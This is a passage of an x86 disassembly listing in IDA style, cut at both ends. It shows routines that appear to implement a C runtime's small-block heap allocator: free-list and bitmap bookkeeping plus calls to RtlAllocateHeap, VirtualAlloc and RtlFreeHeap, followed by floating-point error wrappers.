loc_414BD0:				; CODE XREF: sub_4149CB+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_414BE3:				; CODE XREF: sub_4149CB+1EDj
		mov	ebx, [ebp+var_C]


loc_414BE6:				; CODE XREF: sub_4149CB+18Cj
					; sub_4149CB+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_414CF1
		mov	eax, ds:dword_4625D4
		test	eax, eax
		jz	loc_414CE3
		mov	ecx, ds:dword_4625CC
		mov	edi, ds:dword_41D16C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; dword_41D16C
		mov	ecx, ds:dword_4625CC
		mov	eax, ds:dword_4625D4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_4625D4
		mov	ecx, ds:dword_4625CC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_4625D4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_4625D4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_414C71
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_4625D4


loc_414C71:				; CODE XREF: sub_4149CB+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_414CE3
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; dword_41D16C
		mov	eax, ds:dword_4625D4
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_4625E0
		call	ds:dword_41D144	; RtlFreeHeap
		mov	eax, ds:dword_4625D8
		mov	edx, ds:dword_4625DC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_4625D4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_412720
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4625D8
		cmp	eax, ds:dword_4625D4
		jbe	short loc_414CD5
		sub	eax, 14h


loc_414CD5:				; CODE XREF: sub_4149CB+305j
		mov	ecx, ds:dword_4625DC
		mov	ds:dword_4625D0, ecx
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------


loc_414CE3:				; CODE XREF: sub_4149CB+233j
					; sub_4149CB+2AAj
		mov	eax, [ebp+arg_0]


loc_414CE6:				; CODE XREF: sub_4149CB+316j
		mov	ds:dword_4625D4, eax
		mov	ds:dword_4625CC, esi


loc_414CF1:				; CODE XREF: sub_4149CB+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4149CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CF6	proc near		; CODE XREF: sub_41209D+Ep
					; sub_4137CF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_4625D8
		mov	edx, ds:dword_4625DC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_414D36
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_414D46
; ---------------------------------------------------------------------------


loc_414D36:				; CODE XREF: sub_414CF6+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_414D46:				; CODE XREF: sub_414CF6+3Ej
		mov	eax, ds:dword_4625D0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_414D6D


loc_414D54:				; CODE XREF: sub_414CF6+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_414D6D
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_414D54


loc_414D6D:				; CODE XREF: sub_414CF6+5Cj
					; sub_414CF6+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_414DEB
		mov	ebx, edx


loc_414D74:				; CODE XREF: sub_414CF6+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_414D90
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_414D8E
		add	ebx, 14h
		jmp	short loc_414D74
; ---------------------------------------------------------------------------


loc_414D8E:				; CODE XREF: sub_414CF6+91j
		cmp	ebx, eax


loc_414D90:				; CODE XREF: sub_414CF6+83j
		jnz	short loc_414DEB


loc_414D92:				; CODE XREF: sub_414CF6+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_414DA8
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_414DA5
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_414D92
; ---------------------------------------------------------------------------


loc_414DA5:				; CODE XREF: sub_414CF6+A5j
		cmp	ebx, [ebp+var_4]


loc_414DA8:				; CODE XREF: sub_414CF6+9Fj
		jnz	short loc_414DD0
		mov	ebx, edx


loc_414DAC:				; CODE XREF: sub_414CF6+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_414DC0
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_414DBE
		add	ebx, 14h
		jmp	short loc_414DAC
; ---------------------------------------------------------------------------


loc_414DBE:				; CODE XREF: sub_414CF6+C1j
		cmp	ebx, eax


loc_414DC0:				; CODE XREF: sub_414CF6+BBj
		jnz	short loc_414DD0
		call	sub_414FFF
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_414DE4


loc_414DD0:				; CODE XREF: sub_414CF6:loc_414DA8j
					; sub_414CF6:loc_414DC0j
		push	ebx
		call	sub_4150B0
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_414DEB


loc_414DE4:				; CODE XREF: sub_414CF6+D8j
		xor	eax, eax
		jmp	loc_414FFA
; ---------------------------------------------------------------------------


loc_414DEB:				; CODE XREF: sub_414CF6+7Aj
					; sub_414CF6:loc_414D90j ...
		mov	ds:dword_4625D0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_414E12
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_414E49


loc_414E12:				; CODE XREF: sub_414CF6+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_414E46


loc_414E2F:				; CODE XREF: sub_414CF6+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_414E2F


loc_414E46:				; CODE XREF: sub_414CF6+137j
		mov	edx, [ebp+var_4]


loc_414E49:				; CODE XREF: sub_414CF6+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_414E72
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_414E72:				; CODE XREF: sub_414CF6+16Dj
					; sub_414CF6+183j
		test	ecx, ecx
		jl	short loc_414E7B
		shl	ecx, 1
		inc	edi
		jmp	short loc_414E72
; ---------------------------------------------------------------------------


loc_414E7B:				; CODE XREF: sub_414CF6+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_414E98
		push	3Fh
		pop	esi


loc_414E98:				; CODE XREF: sub_414CF6+19Dj
		cmp	esi, edi
		jz	loc_414FAD
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_414F09
		cmp	edi, 20h
		jge	short loc_414ED8
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_414F06
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_414F09
; ---------------------------------------------------------------------------


loc_414ED8:				; CODE XREF: sub_414CF6+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_414F06
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_414F09
; ---------------------------------------------------------------------------


loc_414F06:				; CODE XREF: sub_414CF6+1D6j
					; sub_414CF6+203j
		mov	ebx, [ebp+arg_0]


loc_414F09:				; CODE XREF: sub_414CF6+1B0j
					; sub_414CF6+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_414FB9
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_414FAA
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_414F7B
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_414F69
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_414F69:				; CODE XREF: sub_414CF6+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_414FAA
; ---------------------------------------------------------------------------


loc_414F7B:				; CODE XREF: sub_414CF6+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_414F94
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_414F94:				; CODE XREF: sub_414CF6+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_414FAA:				; CODE XREF: sub_414CF6+24Ej
					; sub_414CF6+283j
		mov	ecx, [ebp+var_8]


loc_414FAD:				; CODE XREF: sub_414CF6+1A4j
		test	ecx, ecx
		jz	short loc_414FBC
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_414FBC
; ---------------------------------------------------------------------------


loc_414FB9:				; CODE XREF: sub_414CF6+229j
		mov	ecx, [ebp+var_8]


loc_414FBC:				; CODE XREF: sub_414CF6+2B9j
					; sub_414CF6+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_414FF2
		cmp	ebx, ds:dword_4625D4
		jnz	short loc_414FF2
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4625CC
		jnz	short loc_414FF2
		and	ds:dword_4625D4, 0


loc_414FF2:				; CODE XREF: sub_414CF6+2E0j
					; sub_414CF6+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_414FFA:				; CODE XREF: sub_414CF6+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414CF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FFF	proc near		; CODE XREF: sub_414CF6+CCp
		mov	eax, ds:dword_4625D8
		mov	ecx, ds:dword_4625C8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_415042
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_4625DC
		push	edi
		push	ds:dword_4625E0
		call	ds:dword_41D154	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_415092
		add	ds:dword_4625C8, 10h
		mov	ds:dword_4625DC, eax
		mov	eax, ds:dword_4625D8


loc_415042:				; CODE XREF: sub_414FFF+11j
		mov	ecx, ds:dword_4625DC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_4625E0
		lea	esi, [ecx+eax*4]
		call	ds:dword_41D140	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_415092
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_41D170	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_415096
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_4625E0
		call	ds:dword_41D144	; RtlFreeHeap


loc_415092:				; CODE XREF: sub_414FFF+30j
					; sub_414FFF+67j
		xor	eax, eax
		jmp	short loc_4150AD
; ---------------------------------------------------------------------------


loc_415096:				; CODE XREF: sub_414FFF+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4625D8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4150AD:				; CODE XREF: sub_414FFF+95j
		pop	edi
		pop	esi
		retn
sub_414FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B0	proc near		; CODE XREF: sub_414CF6+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4150C2:				; CODE XREF: sub_4150B0+19j
		test	eax, eax
		jl	short loc_4150CB
		shl	eax, 1
		inc	ebx
		jmp	short loc_4150C2
; ---------------------------------------------------------------------------


loc_4150CB:				; CODE XREF: sub_4150B0+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4150E0:				; CODE XREF: sub_4150B0+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4150E0
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_41D170	; VirtualAlloc
		test	eax, eax
		jnz	short loc_415113
		or	eax, 0FFFFFFFFh
		jmp	loc_4151A6
; ---------------------------------------------------------------------------


loc_415113:				; CODE XREF: sub_4150B0+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_415159
		lea	eax, [edi+10h]


loc_415120:				; CODE XREF: sub_4150B0+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_415120


loc_415159:				; CODE XREF: sub_4150B0+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_415196
		or	[eax+4], edi


loc_415196:				; CODE XREF: sub_4150B0+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4151A6:				; CODE XREF: sub_4150B0+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4150B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AB	proc near		; CODE XREF: sub_4137CF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_415359
		test	bl, 1
		jnz	loc_415352
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_415352
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_415222
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_415222:				; CODE XREF: sub_4151AB+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_415272
		cmp	ecx, 20h
		jnb	short loc_41524E
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_415272
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_415272
; ---------------------------------------------------------------------------


loc_41524E:				; CODE XREF: sub_4151AB+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_415272
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_415272:				; CODE XREF: sub_4151AB+7Dj
					; sub_4151AB+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_415340
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4152AC
		push	3Fh
		pop	edi


loc_4152AC:				; CODE XREF: sub_4151AB+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41532E
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_415305
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4152F8
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4152F8:				; CODE XREF: sub_4151AB+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41532A
; ---------------------------------------------------------------------------


loc_415305:				; CODE XREF: sub_4151AB+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41531B
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41531B:				; CODE XREF: sub_4151AB+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41532A:				; CODE XREF: sub_4151AB+158j
		shr	edx, cl
		or	[eax], edx


loc_41532E:				; CODE XREF: sub_4151AB+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_415343
; ---------------------------------------------------------------------------


loc_415340:				; CODE XREF: sub_4151AB+E5j
		mov	edx, [ebp+arg_4]


loc_415343:				; CODE XREF: sub_4151AB+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_415499
; ---------------------------------------------------------------------------


loc_415352:				; CODE XREF: sub_4151AB+52j
					; sub_4151AB+5Cj
		xor	eax, eax
		jmp	loc_41549C
; ---------------------------------------------------------------------------


loc_415359:				; CODE XREF: sub_4151AB+49j
		jge	loc_415499
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_415384
		push	3Fh
		pop	esi


loc_415384:				; CODE XREF: sub_4151AB+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_415413
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41539D
		push	3Fh
		pop	esi


loc_41539D:				; CODE XREF: sub_4151AB+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4153EC
		cmp	esi, 20h
		jnb	short loc_4153C8
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4153E9
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4153E9
; ---------------------------------------------------------------------------


loc_4153C8:				; CODE XREF: sub_4151AB+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4153E9
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4153E9:				; CODE XREF: sub_4151AB+214j
					; sub_4151AB+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_4153EC:				; CODE XREF: sub_4151AB+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_415413
		push	3Fh
		pop	esi


loc_415413:				; CODE XREF: sub_4151AB+1DDj
					; sub_4151AB+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_415490
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_415467
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41545A
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41545A:				; CODE XREF: sub_4151AB+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41548C
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_4151AB+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41547D
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41547D:				; CODE XREF: sub_4151AB+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41548C:				; CODE XREF: sub_4151AB+2BAj
		shr	edx, cl
		or	[eax], edx


loc_415490:				; CODE XREF: sub_4151AB+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_415499:				; CODE XREF: sub_4151AB+1A2j
					; sub_4151AB:loc_415359j
		push	1
		pop	eax


loc_41549C:				; CODE XREF: sub_4151AB+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4154A1(int, int, double, int)

sub_4154A1	proc near		; CODE XREF: sub_412102+51p
					; sub_41224B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4301E8, 0
		jnz	short loc_4154D6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_415A56
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4154D6:				; CODE XREF: sub_4154A1+Aj
		push	0FFFFh
		mov	ds:dword_460F8C, 21h
		push	[ebp+arg_C]
		call	sub_415CC9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4154A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4154F4(int, int, double, double, int)

sub_4154F4	proc near		; CODE XREF: sub_412102:loc_4121C5p
					; sub_41224B:loc_41230Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41583F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415532
		lea	eax, [ebp+arg_10]
